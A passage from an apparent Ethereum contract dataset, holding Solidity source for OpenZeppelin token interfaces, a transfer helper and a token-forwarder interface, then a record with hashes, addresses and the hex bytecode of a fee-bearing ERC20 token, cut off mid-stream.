@dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"contracts/ERC20Interface.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n"
},
"contracts/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n"
},
"contracts/IForwarder.sol": {
"content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
|
1 | 19,502,193 |
825a4f508d835a03d12e037d3c1395de459f44715c0bf19854aab75ad9b27f36
|
50ca94c39848236e15fbc5478e21b522ea8443a3c64932e6d49b8331abeef1a0
|
949a308d72149cd015b76090680313853be2666e
|
2995dcf47546720f96b4636d894a77e8074461e4
|
dd0f8eb03b648c370a8a071def20d4f1ec597b24
|
60806040523480156200001157600080fd5b5060405162004034380380620040348339810160408190526200003491620008ed565b80516020820151600362000049838262000afa565b50600462000058828262000afa565b50505060e08101516001600160a01b0316620000cf5760405162461bcd60e51b815260206004820152602b60248201527f546f6b656e466945524332303a206f776e65722063616e6e6f7420626520416460448201526a0323932b9b9902d32b937960ad1b60648201526084015b60405180910390fd5b80608001518160a0015110156200014f5760405162461bcd60e51b815260206004820152603c60248201527f546f6b656e466945524332303a20696e697469616c537570706c792063616e6e60448201527f6f742062652067726561746572207468616e206d6178537570706c79000000006064820152608401620000c6565b60c0810151600680546001600160a01b0319166001600160a01b0390921691909117905560a081015160075560408101516008906200018f908262000afa565b506060808201516016805460ff909216600160a81b0260ff60a81b199092169190911790556101408201519081015151604082015151602083015151925151600093620001dc9162000bdc565b620001e8919062000bdc565b620001f4919062000bdc565b9050612710811115620002605760405162461bcd60e51b815260206004820152602d60248201527f546f6b656e466945524332303a20666565732073756d206d757374206265206c60448201526c657373207468616e203130302560981b6064820152608401620000c6565b61014082015180518051600955602090810151600a805460ff19908116921515929092179055818301518051600b55820151600c8054831691151591909117905560408301518051600d81905590830151600e805484169115159190911790556060909301518051600f559091015160108054909216901515179055610160830151601580546001600160a01b0319166001600160a01b039092169190911790551562000440576000826080015111620003835760405162461bcd60e51b815260206004820152603e60248201527f546f6b656e466945524332302e636f6e7374727563746f723a20696e6974696160448201527f6c537570706c79206d7573742062652067726561746572207468616e203000006064820152608401620000c6565b608082015162000397600260001962000c08565b620003a3919062000c1f565b620003b2600260001962000c08565b620003be919062000c36565b602081815560c0840180516001600160a01b039081166000908152601b8452604080822095909555608087018051601f819055845184168352601c8652868320556016805460ff60a01b1916600160a01b179055925192519451948552911692909160008051602062004014833981519152910160405180910390a36200045a565b6200045a8260c001518360800151620004e960201b60201c565b6101608201516200046e906017906200059c565b50601680546001600160a01b0319163317905560e08201516200049490600090620005bc565b601654620004cd907f6c0757dc3e6b28b2580c03fd9e96c274acf4f99d91fbec9b418fa1d70604ff1c906001600160a01b0316620005bc565b610120820151620004e190600090620005bc565b505062000c4c565b6001600160a01b038216620005415760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620000c6565b806002600082825462000555919062000bdc565b90915550506001600160a01b0382166000818152602081815260408083208054860190555184815260008051602062004014833981519152910160405180910390a35b5050565b6000620005b3836001600160a01b03841662000665565b90505b92915050565b60008281526005602090815260408083206001600160a01b038516845290915290205460ff16620005985760008281526005602090815260408083206001600160a01b03851684529091529020805460ff191660011790556200061c3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b505050565b6000818152600183016020526040812054620006ae57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155620005b6565b506000620005b6565b634e487b7160e01b600052604160045260246000fd5b6040516101a081016001600160401b0381118282101715620006f357620006f3620006b7565b60405290565b604051601f8201601f191681016001600160401b0381118282101715620007245762000724620006b7565b604052919050565b600082601f8301126200073e57600080fd5b81516001600160401b038111156200075a576200075a620006b7565b602062000770601f8301601f19168201620006f9565b82815285828487010111156200078557600080fd5b60005b83811015620007a557858101830151828201840152820162000788565b506000928101909101919091529392505050565b805160ff81168114620007cb57600080fd5b919050565b80516001600160a01b0381168114620007cb57600080fd5b600060408284031215620007fb57600080fd5b604080519081016001600160401b0381118282101715620008205762000820620006b7565b806040525080915082518152602083015180151581146200084057600080fd5b6020919091015292915050565b600061010082840312156200086157600080fd5b604051608081016001600160401b0381118282101715620008865762000886620006b7565b604052905080620008988484620007e8565b8152620008a98460408501620007e8565b6020820152620008bd8460808501620007e8565b6040820152620008d18460c08501620007e8565b60608201525092915050565b805160038110620007cb57600080fd5b6000602082840312156200090057600080fd5b81516001600160401b03808211156200091857600080fd5b9083019061028082860312156200092e57600080fd5b62000938620006cd565b8251828111156200094857600080fd5b62000956878286016200072c565b8252506020830151828111156200096c57600080fd5b6200097a878286016200072c565b6020830152506040830151828111156200099357600080fd5b620009a1878286016200072c565b604083015250620009b560608401620007b9565b60608201526080830151608082015260a083015160a0820152620009dc60c08401620007d0565b60c0820152620009ef60e08401620007d0565b60e0820152610100915062000a06828401620007d0565b82820152610120915062000a1c828401620007d0565b82820152610140915062000a33868385016200084d565b8282015262000a466102408401620007d0565b61016082015262000a5b6102608401620008dd565b61018082015295945050505050565b600181811c9082168062000a7f57607f821691505b60208210810362000aa057634e487b7160e01b600052602260045260246000fd5b50919050565b601f82111562000660576000816000526020600020601f850160051c8101602086101562000ad15750805b601f850160051c820191505b8181101562000af25782815560010162000add565b505050505050565b81516001600160401b0381111562000b165762000b16620006b7565b62000b2e8162000b27845462000a6a565b8462000aa6565b602080601f83116001811462000b66576000841562000b4d5750858301515b600019600386901b1c1916600185901b17855562000af2565b600085815260208120601f198616915b8281101562000b975788860151825594840194600190910190840162000b76565b508582101562000bb65787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b80820180821115620005b657620005b662000bc6565b634e487b7160e01b600052601260045260246000fd5b60008262000c1a5762000c1a62000bf2565b500490565b60008262000c315762000c3162000bf2565b500690565b81810381811115620005b657620005b662000bc6565b6133b88062000c5c6000396000f3fe608060405234801561001057600080fd5b50600436106102305760003560e01c806301ffc9a714610235578063053ab1821461025d57806305db2f411461027257806306fdde0314610295578063095ea7b3146102aa57806311c565df146102bd57806313114a9d146102e857806318160ddd146102f057806318f60b69146102f8578063228497201461030b57806322aafef21461033857806323b872dd1461034b578063248a9ca31461035e5780632d838119146103715780632f2ff15d14610384578063313ce5671461039757806336568abe146103b657806339509351146103c957806340a8d39f146103dc57806340c10f19146103e55780634549b039146103f857806358dc10f21461040b5780636078c0f91461041e57806361d027b3146104315780636fda79ce1461044457806370a08231146104915780637543a3aa146104a4578063795c7ebe146104b75780637b1c359c146104ca5780638b4dd060146104dd57806391d14854146104f057806395d89b4114610503578063997d0feb1461050b5780639af1d35a1461051f578063a217fddf146105a4578063a457c2d7146105ac578063a9059cbb146105bf578063b6044b68146105d2578063bc02a108146105e5578063c2510346146105f8578063d49d51811461060b578063d547741f14610613578063d5abeb0114610626578063dd62ed3e1461062f578063f2cc0c1814610642578063f84354f114610655578063fb7f21eb14610668578063fccc281314610670575b600080fd5b610248610243366004612d19565b610679565b60405190151581526020015b60405180910390f35b61027061026b366004612d43565b6106b0565b005b61028760008051602061332c83398151915281565b604051908152602001610254565b61029d6107cd565b6040516102549190612d80565b6102486102b8366004612dc8565b61085f565b6015546102d0906001600160a01b031681565b6040516001600160a01b039091168152602001610254565b602154610287565b610287610877565b610248610306366004612df4565b61089a565b601f5460205460215461031d92919083565b60408051938452602084019290925290820152606001610254565b610248610346366004612df4565b6108a7565b610248610359366004612e11565b6108b4565b61028761036c366004612d43565b6108d8565b61028761037f366004612d43565b6108ed565b610270610392366004612e52565b610972565b601654600160a81b900460ff1660405160ff9091168152602001610254565b6102706103c4366004612e52565b610993565b6102486103d7366004612dc8565b610a11565b61028761271081565b6102706103f3366004612dc8565b610a33565b610287610406366004612e97565b610ad2565b6016546102d0906001600160a01b031681565b61027061042c366004612df4565b610b68565b6006546102d0906001600160a01b031681565b601154601254601354601454610466936001600160a01b039081169316919084565b604080516001600160a01b039586168152949093166020850152918301526060820152608001610254565b61028761049f366004612df4565b610bc4565b6102706104b2366004612f0f565b610c00565b6102706104c5366004612fca565b610e72565b6102706104d8366004612df4565b611061565b6102486104eb366004612df4565b6110bd565b6102486104fe366004612e52565b6110f1565b61029d61111c565b60165461024890600160a01b900460ff1681565b6040805180820182526009548152600a5460ff908116151560208084019190915283518085018552600b548152600c54831615158183015284518086018652600d548152600e5484161515818401528551808701909652600f5486526010549093161515918501919091526105949390919084565b604051610254949392919061303f565b610287600081565b6102486105ba366004612dc8565b61112b565b6102486105cd366004612dc8565b6111a6565b6102706105e0366004612df4565b6111b4565b6102706105f3366004612df4565b611274565b610270610606366004612df4565b61130f565b61028761136b565b610270610621366004612e52565b61137b565b61028760075481565b61028761063d36600461307e565b611397565b610270610650366004612df4565b6113c2565b610270610663366004612df4565b61153b565b61029d6117ab565b6102d061dead81565b60006001600160e01b03198216637965db0b60e01b14806106aa57506301ffc9a760e01b6001600160e01b03198316145b92915050565b601654600160a01b900460ff166106e25760405162461bcd60e51b81526004016106d9906130ac565b60405180910390fd5b336106ec816110bd565b1561074e5760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b60648201526084016106d9565b600061075e838460006001611839565b5050506001600160a01b0384166000908152601b602052604090205491925061078991839150613106565b6001600160a01b0383166000908152601b6020908152604090912091909155546107b4908290613106565b6020556021546107c5908490613119565b602155505050565b6060600380546107dc9061312c565b80601f01602080910402602001604051908101604052809291908181526020018280546108089061312c565b80156108555780601f1061082a57610100808354040283529160200191610855565b820191906000526020600020905b81548152906001019060200180831161083857829003601f168201915b5050505050905090565b60003361086d81858561188c565b5060019392505050565b601654600090600160a01b900460ff16156108935750601f5490565b5060025490565b60006106aa6019836119b1565b60006106aa6017836119b1565b6000336108c28582856119c6565b6108cd858585611a40565b506001949350505050565b60009081526005602052604090206001015490565b6020546000908211156109555760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106d9565b600061095f611d62565b905061096b8184613166565b9392505050565b61097b826108d8565b61098481611d85565b61098e8383611d92565b505050565b6001600160a01b0381163314610a035760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b60648201526084016106d9565b610a0d8282611e18565b5050565b60003361086d818585610a248383611397565b610a2e9190613119565b61188c565b6000610a3e81611d85565b60075482610a4a610877565b610a549190613119565b1115610aac5760405162461bcd6